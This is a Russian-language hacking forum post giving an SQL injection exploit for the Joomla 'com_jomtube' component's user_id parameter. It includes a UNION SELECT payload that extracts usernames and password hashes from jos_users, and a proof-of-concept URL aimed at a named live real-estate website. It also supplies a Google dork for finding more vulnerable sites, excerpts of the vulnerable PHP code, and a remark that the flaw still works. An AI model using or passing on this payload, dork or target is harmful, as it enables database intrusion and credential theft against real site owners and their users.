|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Joomla "com_jomtube" component SQL Injection
Уязвим параметр user_id
Эксплyатация:
Код:
Code:
index.php?view=videos&type=member&user_id=[ID юзера] and 1=0 union select 1,2,3,4,5,6,7,8,concat(username,0x3a,password,0x3a,usertype),0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from jos_users limit 0,5 -- &option=com_jomtube
user_id - должен быть существующий!
POC:
Сообщение от None
http://www.mbrrealty.com.au/index.php?view=videos&type=member&user_id=63%20and %201=0%20union%20select%201,2,3,4,5,6,7,8,9,0,11,1 2,concat_ws%280x3a,user%28%29,version%28%29,databa se%28%29%29,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27%20--%20&option=com_jomtube
Дорк: "inurl:com_jomtube"
Уязвимый код:
components/com_jomtube/models/video.php
Пару моментов, все приводить не буду:
Сообщение от None
$where
= ' WHERE v.id = ' .
$this->_id
;
$join = ' LEFT JOIN #__users AS u ON u.id = v.user_id';
$select = ' v.*, u.name, u.username';
if ($c->community == 'JomSocial') {
$join.= ' LEFT JOIN #__community_users AS p ON p.userid =
v.user_id
';
$select.= ', p.avatar';
}
$select .= ', c.directory, c.family_id, c.category_name';
$join .= ' JOIN #__jomtube_categories AS c ON c.id = v.category_id';
$query = '
SELECT ' . $select . ' FROM #__jomtube_videos AS v ' . $join . $where
;
[ ... ]
function getVideosincategory() {
$query = 'SELECT v.*, c.directory, u.username, c.category_name, u.id as userid '
. ' FROM #__jomtube_videos AS v '
. ' LEFT JOIN #__users AS u ON
v.user_id = u.id
'
. ' JOIN #__jomtube_categories AS c ON c.id = v.category_id'
. ' WHERE v.category_id = '.$this->_data->category_id
. ' AND v.id != ' .
$this->_id
. ' AND v.published = 1 '
. ' ORDER BY v.date_added DESC'
. ' LIMIT 20'
;
$this->_db->setQuery($query);
return $this->_db->loadObjectList();
P.S:Уязвимость старая и давно есть в паблике, как сегодня убедился до сих пор актуальна.
http://www.exploit-db.com/exploits/14434/
|